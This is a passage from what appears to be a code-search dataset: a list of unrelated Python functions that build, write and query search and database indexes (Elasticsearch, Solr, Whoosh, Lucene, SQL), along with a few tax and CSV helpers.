float(len(postingl3))) + \"\\t\")\n print(\"Size of the file that stores the index i3 : \" + \\\n str(os.stat('invertedindex3.txt').st_size) + \" bytes\\n\")\n\n postingl4 = [len(x[0]) for x in index[3].values()]\n print(\"Number of terms in index i4 : \" + str(len(postingl4)) + \"\\t\")\n print(\"Maximum Length of Postings List : \" + str(max(postingl4)) + \"\\t\")\n print(\"Minimum Length of Postings List : \" + str(min(postingl4)) + \"\\t\")\n print(\"Average Length of Postings List : \" + str(sum(postingl4) / float(len(postingl4))) + \"\\t\")\n print(\"Size of the file that stores the index i4 : \" + \\\n str(os.stat('invertedindex4.txt').st_size) + \" bytes\\n\")","def create_index():\n es = Elasticsearch()\n es.indices.delete(index='drugaid-index')\n with open('../data_crawling/demo_drug_data-fixed.json') as f:\n drug_data = json.load(f)\n\n for drug in drug_data:\n es.index(index='drugaid-index', doc_type='drug', body=drug)","def index_object(idxs=None):","def __init__(self, csvfile, url, index, doc_type, username, password, chunk_size=100):\n\n self.csv_file = csvfile\n self.es_url = url\n self.es_main_index = index\n self.es_main_type = doc_type\n self.es = Elasticsearch(self.es_url,\n http_auth=(username, password),\n use_ssl=True,\n verify_certs=True,\n connection_class=RequestsHttpConnection)\n self.chunk_size = chunk_size\n\n self.mapping = {\n \"properties\": {\n \"region\": {\n \"type\": \"string\",\n \"index\": \"not_analyzed\",\n \"doc_values\": True,\n \"fielddata\": {\n \"loading\": \"eager_global_ordinals\"\n }\n },\n \"agg_commodity\": {\n \"type\": \"string\",\n \"index\": \"not_analyzed\",\n \"doc_values\": True,\n \"fielddata\": {\n \"loading\": \"eager_global_ordinals\"\n }\n },\n \"agg_continent\": {\n \"type\": \"string\",\n \"index\": \"not_analyzed\",\n \"doc_values\": True,\n \"fielddata\": {\n \"loading\": \"eager_global_ordinals\"\n }\n },\n \"agg_subcontinent\": {\n \"type\": \"string\",\n \"index\": \"not_analyzed\",\n \"doc_values\": True,\n \"fielddata\": {\n \"loading\": \"eager_global_ordinals\"\n }\n },\n \"impactparameter\": {\n \"type\": \"string\",\n \"index\": \"not_analyzed\",\n \"doc_values\": True,\n \"fielddata\": {\n \"loading\": \"eager_global_ordinals\"\n }\n },\n \"commodity\": {\n \"type\": \"string\",\n \"index\": \"not_analyzed\",\n \"doc_values\": True,\n \"fielddata\": {\n \"loading\": \"eager_global_ordinals\"\n }\n },\n \"year\": {\n \"type\": \"integer\"\n },\n \"Val\": {\n \"type\": \"float\"\n }\n }\n }","def create_index(es_object, index_name):\n created = False\n # index settings\n # the reason why we need mappings is avoid corrupting your data\n settings = {\n \"settings\": {\n \"number_of_shards\": 1,\n \"number_of_replicas\": 0\n },\n \"mappings\": {\n # custom type called foods\n \"foods\": {\n \"properties\": {\n # Specify that the food_name field contains text values.\n \"food_name\": {\n \"type\": \"text\",\n \"fields\": {\n \"raw\":{ \n \"type\": \"keyword\"\n } # The food_name.raw field can be used for sorting and aggregations\n }\n },\n # Specify that the categories field contains text values.\n \"categories\": {\n \"type\": \"text\",\n \"fields\": {\n \"raw\":{ \n \"type\": \"keyword\"\n } # The categories.raw field can be used for sorting and aggregations\n }\n },\n # Specify that the calories field contains integer values.\n \"calories\": {\n \"type\": \"integer\"\n },\n \"protein\": {\n \"type\": \"integer\"\n },\n \"carbs\": {\n \"type\": \"integer\"\n },\n \"fat\": {\n \"type\": \"integer\"\n }\n \n },\n }\n }\n }\n try:\n if not es_object.indices.exists(index_name):\n # Ignore 400 means to ignore \"Index Already Exist\" error.\n es_object.indices.create(index=index_name, ignore=400, body=settings)\n print('Created Index')\n created = True\n except Exception as ex:\n print(str(ex))\n finally:\n return created","def build_index(self):\n self.rebuild_index()","def to_index(self, index_type, index_name, includes=None):\n return IndexField(self.name, self.data_type, index_type, index_name,\n includes)","def create_index(cls, engine):\n\n reg_imei = db.Index('reg_imei_index', cls.imei, postgresql_concurrently=True)\n reg_imei.create(bind=engine)\n\n reg_normalized_imei = db.Index('reg_normalized_imei_index', cls.normalized_imei, postgresql_concurrently=True)\n reg_normalized_imei.create(bind=engine)","def create_index(self, dictfile):\n\n self.dictionary_file = dictfile\n self.index_file = os.path.join(dictfile.split(\".\")[0] + \".index\")\n\n self.fp = codecs.open(self.dictionary_file, \"r\", encoding=\"utf-8\")\n self.op = codecs.open(self.index_file, \"w\", encoding=\"utf-8\")\n\n # loop untill entire file is not finished\n while True:\n item = self.fp.readline()\n if not item:\n break\n\n # if the alphabet is currently not indexed then index it\n # with current value of byte offset else increase the offset\n # by the byte length of currently read word till you get\n # new alphaet which is not indexed\n\n if len(item) > 0 and not item[0] in self.dictionary.keys():\n self.dictionary[item[0]] = self.offset\n self.offset = self.offset + len(item.encode(\"utf-8\"))\n\n #print \"Index for \" + self.dictionary_file + \" is created \"\n\n for index in self.dictionary:\n value = self.dictionary.get(index, None)\n if not value:\n self.op.write(index + \"=%d\\n\" % value)\n\n # Clean up\n self.fp.close()\n self.op.close()","def _compute_tax_id(self):\n for inv in self:\n for line in inv.invoice_line_ids:\n line.tax_ids = line._get_computed_taxes()\n\n inv._recompute_dynamic_lines(recompute_all_taxes=True, recompute_tax_base_amount=True)","def index_json_file(json_file, output_file, field=DEFAULT_JSON_FIELD,\n min_chunk_size=_MIN_CHUNK_SIZE):\n chunk_iterator = _iterate_archives(json_file, buffer_size=min_chunk_size)\n for i, (arch, start_offset, end_offset) in enumerate(chunk_iterator):\n _LOGGER.info('processed %s chunk, offset: %s-%s' % (i, start_offset, end_offset))\n line_start, line_end = 0, 0\n with gzip.open(arch, mode='rb') as json_in:\n for line in json_in:\n data = json.loads(line.decode(_TEXT_ENCODING))\n line_start = line_end\n line_end = line_start + len(line)\n index = '%s|%s|%s|%s|%s' % (\n data[field],\n start_offset, end_offset - start_offset,\n line_start, line_end - line_start,\n )\n output_file.write(index.encode(_TEXT_ENCODING) + b'\\n')","def _commit_to_index( env_dict ):\n from indexer.solr import adapter as adapter_file\n\n adapter = adapter_file.adapter(env_dict)\n adapter.commit()\n if env_dict[\"indexer\"][\"optimise\"]:\n adapter.optimise(maxSegments=1)","def create_payload_index(self, collection_name: str, field_name: str):\n return self.openapi_client.points_api.update_points(\n name=collection_name,\n wait='true',\n collection_update_operations=FieldIndexOperationsAnyOf(create_index=field_name),\n )","def write_sub_index(self):\n for sie in self.subIndex:\n self.db_file.write(sie.get_representation())","def delete_index_field(DomainName=None, IndexFieldName=None):\n pass","def add_index(self, name, func):\n assert name not in self.indices\n info_name = 'index:%s:%s' % (self.info['name'], name)\n info = self.store._get_info(info_name, index_for=self.info['name'])\n index = Index(self, info, func)\n self.indices[name] = index\n if IndexKeyBuilder:\n self._index_keys = IndexKeyBuilder(self.indices.values()).build\n return index","def _es_push_indexes(self, content):\n for c in self.es_clients:\n c.create_index(content)","def store_index(self, index, doc_type, source_list, init_id):\n\n bulk_actions = []\n doc_id = init_id\n\n for source in source_list:\n data_body = ElasticSearchUtility.__index_data_body(index, doc_type, doc_id, source[\"_source\"])\n bulk_actions.append(data_body)\n doc_id += 1\n\n print 'inserting - ', len(bulk_actions)\n helpers.bulk(self.es, bulk_actions)","def index_fobj(fobj):\n doc = fileobject_to_dict(fobj)\n if doc is not None:\n #print doc\n SOLR.add(doc)\n else:\n pass","def search_for(self, indexname, field, term, outfield=None):\n url = \"{url_home}/{index}/{function}\".format(url_home=self.url_elastic, index=indexname, function=\"_search\")\n match = {field: dict(query=term)}\n data = dict(\n query=match\n )\n res = rw.get(url, headers=self.headers, data=json.dumps(data))\n return res","def writeTotalIndex(map_data):\n ids = map_data['id']\n index = [0.0] * len(ids)\n\n colnames = ['cars', 'bikes', 'ages', 'parking', 'male_singles',\n 'female_singles', 'digging', 'freeparking']\n weights = [-0.5, 0.5, 0.1, -0.5, 1.0, 1.0, -1.0, 0.25]\n for colname, weight in zip(colnames, weights):\n values = map_data[colname]\n\n index += values * (weight / values.max())\n\n toJson('final', pd.DataFrame({'id': ids, 'counts': index}))","def _save_percolator(self):\n index = Content.search_objects.mapping.index\n query_filter = self.get_content().to_dict()\n\n q = {}\n\n if \"query\" in query_filter:\n q = {\"query\": query_filter.get(\"query\", {})}\n else:\n # We don't know how to save this\n return\n\n # We'll need this data, to decide which special coverage section to use\n if self.campaign:\n q[\"sponsored\"] = True\n q[\"start_date\"] = self.campaign.start_date\n q[\"end_date\"] = self.campaign.end_date\n\n es.index(\n index=index,\n doc_type=\".percolator\",\n body=q,\n id=self.es_id\n )","def _get_ea_index():\n ea_index_temp = {'Address': 5, 'Agency': 10, 'City': 4, 'Country': 3,\n 'Datacenter': 7, 'Division': 8, 'Interface Name': 13,\n 'Region_List': 2, 'Requester Email': 9, 'Site': 6,\n 'VLAN Description': 11, 'IPR Designation': 16}\n return ea_index_temp","def build_index(self):\r\n date_time('Building indexes in citations table')\r\n self.cursor.execute('DROP INDEX IF EXISTS IDX_citations ;')\r\n self.cursor.execute('CREATE INDEX IDX_citations ON citations (citation);')\r\n self.conn.commit()\r\n gc.collect()","def _add_as_field_if_not_in_index(\n self, df, skilldf, fields=[\"model\", \"observation\", \"variable\"]\n ):\n for field in reversed(fields):\n if (field == \"model\") and (self.n_models <= 1):\n continue\n if (field == \"variable\") and (self.n_variables <= 1):\n continue\n if field not in skilldf.index.names:\n unames = df[field].unique()\n if len(unames) == 1:\n skilldf.insert(loc=0, column=field, value=unames[0])\n return skilldf","def WriteIndexFasta(seqWithAnno, fpdb, dbname, fpindex, cntdbfile, #{{{\n record_offset, idSet, idtype):\n if idtype == 0:\n seqid = myfunc.GetSeqIDFromAnnotation(seqWithAnno)\n elif idtype == 1:\n seqid = myfunc.GetFirstWord(seqWithAnno.lstrip(\">\"))\n if seqid in idSet:\n return (fpdb, record_offset)\n else:\n seqWithAnno+=\"\\n\"\n if fpdb == None:\n dbfile=dbname+\"%d.db\"%(cntdbfile)\n fpdb=open(dbfile, \"wb\")\n print \"dbfile %s is created.\"%dbfile\n fpindex.write(\"%s %d %d %d\\n\"%(seqid, cntdbfile, record_offset,\n len(seqWithAnno)))\n fpdb.write(\"%s\"%seqWithAnno)\n record_offset += len(seqWithAnno)\n idSet.add(seqid)\n return (fpdb,record_offset)","def calcumul_index(path,x,name_champ_label,indice2,list_drop,pathlist_names_feature):\n sql=sqlite3.connect(path)\n df=pd.read_sql_query(\"SELECT * FROM output\", sql)\n df=df.groupby(\"originfid\").mean()\n if 'band' in df.columns[6] :\n globals()[\"df%s\"%x]=col_sqlite(path,x,list_drop,pathlist_names_feature)\n label = globals()[\"df%s\"%x][name_champ_label]\n globals()[\"%s\"%x]=globals()[\"df%s\"%x].astype(float)\n print(indice2)\n if indice2 not in ['NDVI', 'NDWI','SM','asc_vv','des_vv','asc_vh','des_vh','asc_userfeature1','des_userfeature1']:\n name_indice=indice2\n band1_indice=input(\"band ? :\")\n band2_indice=input(\"band ? :\")\n df_b1 = globals()[\"%s\"%x].filter(like=band1_indice)\n df_b2 = globals()[\"%s\"%x].filter(like=band2_indice)\n df_b1_col = df_b1.rename(columns=lambda x: x[-8:])\n df_b2_col = df_b2.rename(columns=lambda x: x[-8:])\n df_indice = (df_b2_col - df_b1_col)/(df_b2_col + df_b1_col)\n globals()[\"df_%s\"%indice2] = df_indice.cumsum(axis=1)\n \n else:\n df_indice = globals()[\"df%s\"%x].filter(like=indice2)\n df_indice_col = df_indice.rename(columns=lambda x: x[-8:])\n df_indice_col=df_indice_col.iloc[:-1]\n globals()[\"df_%s\"%indice2] = df_indice_col.cumsum(axis=1)\n \n globals()[\"df_%s\"%indice2][name_champ_label]=label\n globals()[\"df_%s\"%indice2]=globals()[\"df_%s\"%indice2].astype(float)\n globals()[\"df_mean_%s\"%indice2]=globals()[\"df_%s\"%indice2].groupby(name_champ_label).mean().T \n globals()[\"df_mean_%s\"%indice2].index=pd.to_datetime(globals()[\"df_mean_%s\"%indice2].index,format=\"%Y%m%d\")\n else :\n label = df[name_champ_label]\n print(indice2)\n if indice2 not in ['ndvi', 'ndwi','asc_vv','des_vv','asc_vh','des_vh','asc_userfeature1','des_userfeature1','SM']:\n name_indice=indice2\n band1_indice=input(\"band ? :\")\n band2_indice=input(\"band ? :\")\n df_b1 = df.filter(like=band1_indice)\n df_b2 = df.filter(like=band2_indice)\n df_b1_col = df_b1.rename(columns=lambda x: x[-8:])\n df_b2_col = df_b2.rename(columns=lambda x: x[-8:])\n df_indice = (df_b2_col - df_b1_col)/(df_b2_col + df_b1_col)\n globals()[\"df_%s\"%indice2] = df_indice.cumsum(axis=1)\n \n else:\n df_indice = df.filter(like=indice2)\n df_indice_col = df_indice.rename(columns=lambda x: x[-8:])\n globals()[\"df_%s\"%indice2] = df_indice_col.cumsum(axis=1)\n \n globals()[\"df_%s\"%indice2][name_champ_label]=label\n globals()[\"df_mean_%s\"%indice2]=globals()[\"df_%s\"%indice2].groupby(name_champ_label).mean().T\n globals()[\"df_mean_%s\"%indice2].index=pd.to_datetime(globals()[\"df_mean_%s\"%indice2].index,format=\"%Y%m%d\")\n return globals()[\"df_mean_%s\"%indice2], globals()[\"df_%s\"%indice2]","def _index(self):\n return es.index(CLUSTER_NAME, 'record', self.dict, id=self.uuid)","def insert(input_json): \n client, index_name = connection_es()\n datetime_ = datetime.datetime.now().strftime(\"%Y.%m.%d_%H:%M:%S\")\n fs_metadata_name = index_name+datetime_\n res = client.index(index = fs_metadata_name, doc_type = 'nvisnx', body = input_json)\n return res","def field_index(self, field):\r\n idx = self.fields.index(field)\r\n if self.index:\r\n idx = self.index[idx]\r\n return idx","def generate_inv_index(people):\n pass","def step010():\n logger.logMessage('Begin: Getting candidate documents from elasticsearch')\n\n def limitHour(d):\n thish = d.start_time.tz_localize(tz='UTC')\n nexth = thish + dt.timedelta(hours=1)\n return { 'range': { 'time': {'gte':thish, 'lt':nexth } } }\n \n conn = sql.create_engine(pgurl)\n client = es.Elasticsearch(hostlist)\n dupesDF = pd.read_sql_table('weather_dupes',conn).set_index('time')\n hours =dupesDF.to_period('H').reset_index()['time'].unique()\n ranges = [ limitHour(h) for h in hours ]\n query = { \n '_source': [ 'tsa','time' ],\n 'query': { \n 'bool': { 'should': ranges } \n } \n }\n #logger.logMessage(level='DEBUG',message='Query body: {0}'.format(query))\n hits = eshelp.scan(client=client,index=indexName,doc_type='doc',query=query)\n numRecs = 0\n with open(candidatesFile,'w') as f:\n for h in hits:\n src = h['_source']\n tsa = int(src['tsa'])\n time = src['time']\n docid = h['_id']\n idx = h['_index']\n f.write(f'{tsa:014d};{time:25s};{docid:32s};{idx:32s}\\n') \n numRecs += 1\n if numRecs % 1000 == 0:\n logger.logMessage(level='DEBUG',message=\"{0:9d} records written\".format(numRecs))\n logger.logMessage(message=\"{0:9d} total records written\".format(numRecs))\n logger.logMessage('End: Getting candidate documents from elasticsearch')","def save_index(self, fn):\n utils.save_obj(self.inverted_idx, fn)","def _compute_tax(self):\n for line in self:\n line.tax = (line.amount_untaxed * 14) / 100","def indexCranFull(path, writer):\n # Title field type\n tft = FieldType()\n tft.setIndexed(True)\n tft.setStored(True)\n tft.setTokenized(TokenizeFields)\n tft.setIndexOptions(FieldInfo.IndexOptions.DOCS_AND_FREQS) #only index the document and frequency data\n\n\n # Author field type\n aft = FieldType()\n aft.setIndexed(True)\n aft.setStored(True)\n aft.setTokenized(TokenizeFields)\n aft.setIndexOptions(FieldInfo.IndexOptions.DOCS_AND_FREQS_AND_POSITIONS) #index the document, term frequency and position data\n\n\n # Content field type\n cft = FieldType()\n cft.setIndexed(True)\n cft.setStored(True)\n cft.setTokenized(True)\n cft.setIndexOptions(FieldInfo.IndexOptions.DOCS_AND_FREQS_AND_POSITIONS)\n\n txt = open(path)\n \"\"\"\n cran documents are listed in this order:\n .I # -> ignore\n .T -> starting on the next line, multi-line title\n .A -> on the next line, multiple authored separated by 'and'\n .B -> on the next line, ignore\n .W -> starting on the next line, multi-line body (content)\n \"\"\"\n docid = 0\n debug = False\n while True: # in each iteration, read all the lines corresponding to a document\n line = txt.readline()\n\n if line == '':\n break\n\n if docid == 1400:\n debug = True\n\n if line.startswith('.I'):\n docid = int(line.split(' ')[1].strip())\n continue\n\n if line.startswith('.T'):\n title = ''\n while True:\n line = txt.readline()\n if line.startswith('.A'):\n break\n title = ' '.join([title, line]).strip()\n\n line = txt.readline()\n # authors = ' '.join(line.split('and'))\n authors = line.strip()\n\n #.B, its corresponding line and .W\n txt.readline()\n txt.readline()\n txt.readline()\n body = ''\n while True:\n line = txt.readline()\n if line.startswith('.I'):\n docid = int(line.split(' ')[1].strip())\n break\n if line == '':\n break\n body = ' '.join([body, line]).strip()\n\n doc = Document()\n doc.add(Field(title_field, title, tft))\n doc.add(Field(author_field, authors, aft))\n doc.add(Field(content_field, body, cft))\n doc.add(IntField(docid_field, docid, Field.Store.YES))\n writer.addDocument(doc)","def index(self, name, file, passages, index_name=\"default\"):\n raise NotImplementedError()","def clean_and_save_country(country_name, df):\n drop_columns = ['Lat', \n 'Long', \n 'Province/State']\n\n df.drop(columns=drop_columns, inplace = True)\n df_group = df.groupby(['Country/Region'])\n\n country = df_group.get_group(country_name)\n country.drop(columns = ['Country/Region'], inplace=True)\n country = country.agg(['sum'])\n country = country.T\n country.reset_index(level=0, inplace=True)\n country['index'] = pd.to_datetime(country['index'])\n country.rename(columns={'index': 'date'}, inplace=True)\n\n country.to_csv('../data/' + country_name + '_timeseries.csv', index=False)","def createSpatialIndex(self, schema, table, column):\r\n index_name = '{}_{}_idx'.format(table, column)\r\n return self.runSql('CREATE INDEX {} ON {} USING gist ({})'.format(index_name, self.encodeTableName(schema, table), self.encodeColumnName(column)))","def index(self, model_name, field_name, force=False):\n model = self.get_model(model_name)\n field = model[field_name]\n if 'index' in field:\n if field['index'] is False and force is False:\n raise ModelIndexError(\n \"Field definition has index: False. \"\n \"Use force=True to override.\")\n collection = self.get_collection(model_name)\n collection.ensure_index(field_name)","def create_index(es_object, index_name):\n created = False\n \"\"\" index settings \"\"\"\n settings = {\n \"settings\": {\n \"number_of_shards\": 1,\n \"number_of_replicas\": 0\n },\n \"mappings\": {\n \"physicians\": {\n \"dynamic\": \"strict\",\n \"properties\": {\n \"overview\": {\n \"type\": \"text\"\n },\n \"full_name\": {\n \"type\": \"text\"\n },\n \"years_of_practice\": {\n \"type\": \"text\"\n },\n \"language\": {\n \"type\": \"text\"\n },\n \"office_location\": {\n \"type\": \"text\"\n },\n \"hospital_affiliation\": {\n \"type\": \"text\"\n },\n \"specialties\": {\n \"type\": \"text\"\n },\n \"education_and_medical_training\": {\n \"type\": \"text\"\n },\n \"certification_and_licensure\": {\n \"type\": \"text\"\n },\n }\n }\n }\n }\n\n try:\n if not es_object.indices.exists(index_name):\n # Ignore 400 means to ignore \"Index Already Exist\" error.\n es_object.indices.create(index=index_name, ignore=400, body=settings)\n print('Created Index')\n created = True\n except Exception as ex:\n print(str(ex))\n finally:\n return created","def _compute_tax_id(self):\n for order in self:\n order.order_line._compute_tax_id()","def build_index():\n print \"building index..\"\n\n index_dir = INDEX_DIR_CODE\n if TEST_COLLECTION:\n index_dir = INDEX_DIR_TEST\n CR_DOCS_DB.drop()\n CR_DOCS_DB.ensure_index(\"code_id\", unique=True)\n if os.path.exists(index_dir):\n shutil.rmtree(index_dir)\n os.mkdir(index_dir)\n schema = get_schema()\n storage = FileStorage(index_dir)\n ix = storage.create_index(schema)\n w = ix.writer()\n print \"finding posts..\"\n posts_with_code = POSTS_DB.find({\"answers.Body\": {\"$regex\": \"/.*<code>.*/\"}}, timeout=False)\n print \"adding files..\"\n q = add_from_file(w) if TEST_COLLECTION else 0\n for i, question in enumerate(posts_with_code):\n if TEST_COLLECTION:\n q += add_one_code(w, question, q)\n if q > 999:\n break\n else:\n q += add_doc(w, question)\n if i % 1000 == 0 and not i == 0:\n print \"commit number:\", str(i/1000), \"with\", q, \"codes\"\n w.commit()\n w = ix.writer()\n\n w.commit()\n posts_with_code.close()\n print \"the index was built!\"\n return ix","def write_field(self, fieldname):\n raise NotImplementedError","def index_placetypes(self, file_path):\n\n datadir = f'{file_path}/data'\n logging.debug(\"Indexing %s\", datadir)\n\n docs = []\n counter = 0\n for root, _, files in os.walk(datadir):\n for file in files:\n if '.json' in file:\n placefile = os.path.join(root, file)\n logging.info(\"Loading %s\", placefile)\n with open(placefile, encoding='UTF-8') as ifh:\n doc = json.load(ifh)\n doc['_index'] = self.index\n doc['_id'] = doc['id']\n docs.append(doc)\n counter = counter + 1\n\n if docs:\n helpers.bulk(self.esclient, docs)\n\n logging.info(\"Placetypes added %s docs\", counter)\n logging.info(\"Finished indexing %s\", datadir)","def entities_write_index(schema):\n schema = model.get(schema)\n return schema_index(schema, SETTINGS.INDEX_WRITE)","def index(self, field):\r\n\r\n try:\r\n index = self._field_names.index(unicode(field))\r\n except ValueError:\r\n raise KeyError(\"Field list has no field with name '%s'\" % unicode(field))\r\n\r\n return index","def get_full_tax(idx):\n logging.info('Compiling the taxonomy for all genomes...')\n tax_idx = collections.defaultdict(dict)\n for cluster_id,v in idx.items():\n for tax,vv in v.items():\n for genome_id,x in vv.items():\n tax_idx[tax][genome_id] = x['genome_len']\n n_genomes = 0\n for tax,v in tax_idx.items():\n n_genomes += len(v.keys())\n logging.info(' Total number of genomes: {}'.format(n_genomes))\n # return\n return tax_idx","def write_index_data(dir,data):\n db = IndexDb(dir)\n result = db.write_to_index(data) \n return result","def index_terms(self):\n [[self.set_postings(term, id) for term in NLProcessor.process(doc)] for id, doc in\n self.doc_store.dict.iteritems()]","def create_indexes(create_func):\n\tfor set_name, index_path, index_name in zip(SET_NAMES, INDEX_PATHS, INDEX_NAMES):\n\t\tcreate_func(set_name, index_path, index_name)","def fdaAssay(request):\n\tip = get_ip(request, right_most_proxy=True)\n\tIpAddressInformation.objects.create(ip_address=ip)\n\n\tcontextres =[]\n\t#build elasticsearch query to search data\n\tquery={\"query\": {\n\t\t\"bool\": {\n\t\t\t\"must\": [\n\t\t\t\t{\"match\": {\"Assays for FDA approved Marker\": \"Yes\"}},\n\t\t\t\t{\"match\": {\"UniprotKb entry status\": \"Yes\"}}\n\t\t\t]\n\t\t}\n\t}\n\t}\n\t#generate random file name to store search result in json format\n\tnameFIle=names.get_first_name()\n\tjsonfilename=nameFIle+'_basic_search_fda.json'\n\tjsonfilepath=os.path.join(settings.BASE_DIR, 'resultFile', 'jsonData','resultJson', 'basicsearch', 'results', jsonfilename)\n\tjsonfileoutput= open(jsonfilepath,'w')\n\tjfinaldata=[]\n\tes.indices.refresh(index=\"mrmassaydb-index\")\n\t#elasticsearch will search data\n\tres=helpers.scan(client=es,scroll='2m',index=\"mrmassaydb-index\", doc_type=\"mrmassaydb-type\",query=query,request_timeout=30)\n\tjfinaldata=[]\n\t#if data is valid based on uniprotkb release then it will display\n\tfor i in res:\n\t\tjdic=i['_source']\n\t\tjdic={str(tkey):force_text(tvalue) for tkey,tvalue in jdic.items()}\n\t\tif jdic[\"UniprotKb entry status\"] ==\"Yes\" and jdic['UniProtKB Accession'] !='502':\n\t\t\tjdic[\"PPI\"] =\"View\"\n\t\t\tjdic[\"sel\"] =\"\"\n\t\t\tjdic[\"Drug Bank\"]=jdic[\"Drug Bank\"].replace('\\\\','')\n\t\t\tjdic[\"Drug Bank\"]=jdic[\"Drug Bank\"].replace('<br>','|')\n\t\t\tjdic[\"SRMAtlas URL\"]=jdic[\"SRMAtlas URL\"].replace('\\\\','')\n\t\t\tjdic[\"Passel URL\"]=jdic[\"Passel URL\"].replace('\\\\','')\n\t\t\tjdic[\"CPTAC URL\"]=jdic[\"CPTAC URL\"].replace('\\\\','')\n\t\t\tjdic[\"Panoramaweb URL\"]=jdic[\"Panoramaweb URL\"].replace('\\\\','')\n\t\t\tjdic[\"PeptideTracker URL\"]=jdic[\"PeptideTracker URL\"].replace('\\\\','')\n\t\t\t#if jdic[\"Pathway Name\"].lower() !='na':\n\t\t\t#\tjdic[\"Pathway Name\"]=re.sub(r\"(\\w)([A-Z])\",r\"\\1|\\2\",jdic[\"Pathway Name\"])\n\t\t\tjdic[\"Mean Concentration\"] =jdic[\"Mean Concentration\"].replace('fmol/','fmol/µ')\n\t\t\tjdic[\"Concentration\"] =jdic[\"Concentration\"].replace('fmol/','fmol/µ')\n\t\t\tjfinaldata.append(jdic)\n\tes.indices.refresh(index=\"mrmassaydb-index\")\n\t#checking any result generated by database\n\tfoundHits=len(jfinaldata)\n\t#storing only 10000 rows in json format\n\tjson.dump(jfinaldata[:10000],jsonfileoutput)\n\tjsonfileoutput.close()\n\t# if result found then do other job\n\tif foundHits >0:\n\t\tstatsummary=summaryStatcal(jfinaldata) # sent data to this funcation for generating stat\n\t\tpathwaychart=statsummary['pathwaychart']\n\t\tpathwaychart=[i[:2] for i in pathwaychart]\n\t\tspecieslist=statsummary['specieslist']\n\t\ttotallist=statsummary['total']\n\t\tsubcell=statsummary['subcell']\n\t\tgodic=statsummary['godic']\n\t\tjvennprot=statsummary['jevennstat'][0]\n\t\tjvennpep=statsummary['jevennstat'][1]\n\t\tmrmdatabase=statsummary['jevennstat'][2]\n\t\tsortedgodic=OrderedDict(sorted(godic.items(), key=lambda t: t[1])) # sorting GO data\n\t\tupdatedgodic=dict(list(sortedgodic.items()))\n\t\tpepseqdataseries=ast.literal_eval(json.dumps(statsummary['pepseqdataseries'])) #dumping data into json format\n\t\tprodataseries=statsummary['prodataseries']\n\t\tunqisostat=statsummary['unqisostat']\n\t\tjsonfilepathStat=os.path.join(settings.BASE_DIR, 'resultFile', 'jsonData','resultJson', 'basicsearch', 'statsummary', jsonfilename) #storing stat result in json format\n\t\tjsonfileoutputStat= open(jsonfilepathStat,'w')\n\t\tjson.dump(statsummary,jsonfileoutputStat)\n\t\tjsonfileoutputStat.close()\n\t\turlname=\"'/resultFile/jsonData/resultJson/basicsearch/results/\"+jsonfilename+\"'\"\n\n\t\tcontextindex={\n\t\t\t\"filename\":urlname,\"colname\":json.dumps(colname),'foundHits':foundHits,\n\t\t\t'pathwaychart':pathwaychart[:11],'specieslist':specieslist,\n\t\t\t'totallist':totallist,'subcell':subcell,\n\t\t\t'updatedgodic':updatedgodic,'pepseqdataseries':pepseqdataseries,\n\t\t\t'prodataseries':prodataseries,'unqisostat':unqisostat,\n\t\t\t'jvennprot':json.dumps(jvennprot),'jvennpep':json.dumps(jvennpep),'jvennmrmdb':json.dumps(mrmdatabase)\n\t\t\t}\n\t\treturn render(request,'fdaAssay.html',contextindex)\n\telse:\n\t\treturn render(request,'fdaAssay.html',{'foundHits':foundHits})","def _extend_contiguous_traj_field(self, run_idx, traj_idx, field_path, field_data):\n\n traj_grp = self.h5['{}/{}/{}/{}'.format(RUNS, run_idx, TRAJECTORIES, traj_idx)]\n field = traj_grp[field_path]\n\n # make sure this is a feature vector\n assert len(field_data.shape) > 1, \\\n \"field_data must be a feature vector with the same number of dimensions as the number\"\n\n # of datase new frames\n n_new_frames = field_data.shape[0]\n\n # check the field to make sure it is not empty\n if all([i == 0 for i in field.shape]):\n\n # check the feature shape against the maxshape which gives\n # the feature dimensions for an empty dataset\n assert field_data.shape[1:] == field.maxshape[1:], \\\n \"field feature dimensions must be the same, i.e. all but the first dimension\"\n\n # if it is empty resize it to make an array the size of\n # the new field_data with the maxshape for the feature\n # dimensions\n feature_dims = field.maxshape[1:]\n field.resize( (n_new_frames, *feature_dims) )\n\n # set the new data to this\n field[0:, ...] = field_data\n\n else:\n # make sure the new data has the right dimensions against\n # the shape it already has\n assert field_data.shape[1:] == field.shape[1:], \\\n \"field feature dimensions must be the same, i.e. all but the first dimension\"\n\n\n # append to the dataset on the first dimension, keeping the\n # others the same, these must be feature vectors and therefore\n # must exist\n field.resize( (field.shape[0] + n_new_frames, *field.shape[1:]) )\n # add the new data\n field[-n_new_frames:, ...] = field_data","def create_index_item(doc, destination_index):\n\n action = { 'index' : { '_index' : destination_index, '_type' : doc['_type'] } }\n data = doc['_source']\n return action, data","def country_lookup(input_file, output_file, field_index):\n # Load existing output into memory\n # This is so if script crashes half way through it picks up where it left off.\n # (Touch output file before starting)\n existingOutput = []\n with open(output_file) as read_out_fp:\n csvreader = csv.reader(read_out_fp, delimiter=CSV_DELIMITER, quotechar=CSV_QUOTECHAR)\n header = next(csvreader)\n for row in csvreader:\n existingOutput.append(row)\n\n # Main loop over input\n with open(input_file) as in_fp:\n with open(output_file, \"w\", newline=\"\") as out_fp:\n csvreader = csv.reader(in_fp, delimiter=CSV_DELIMITER, quotechar=CSV_QUOTECHAR)\n csvwriter = csv.writer(out_fp, delimiter=CSV_DELIMITER, quotechar=CSV_QUOTECHAR, quoting=csv.QUOTE_MINIMAL)\n header = next(csvreader)\n header.append('COUNTRY-FROM-LAT-LNG')\n csvwriter.writerow(header)\n\n for row in csvreader:\n\n # If there is data for this already in output, just use that and don't look up again\n if len(existingOutput) > 0:\n\n existing_row = existingOutput.pop(0)\n\n # The existing row we got from output should match the input row we are trying to process\n # Let's check that!\n if existing_row[0] != row[0] or \\\n existing_row[1] != row[1] or \\\n existing_row[2] != row[2] or \\\n existing_row[3] != row[3] or \\\n existing_row[4] != row[4] or \\\n existing_row[5] != row[5]:\n print(\"EXISTING ROW PROBLEM\")\n print(', '.join(existing_row))\n print(', '.join(row))\n exit(-1)\n\n csvwriter.writerow(existing_row)\n\n # No data already - we need to look up ourselves\n else:\n\n # Some rows are empty latlng\n if row[field_index].strip():\n\n latlngfielddata = row[field_index].strip()\n # Some data entries have multiple spaces between lat lng, some have 3,\n # So this line is done twice to always bring it back to 1 space.\n latlngfielddata = latlngfielddata.replace(LATLNG_FIELD_SPLIT_CHAR+LATLNG_FIELD_SPLIT_CHAR, LATLNG_FIELD_SPLIT_CHAR)\n latlngfielddata = 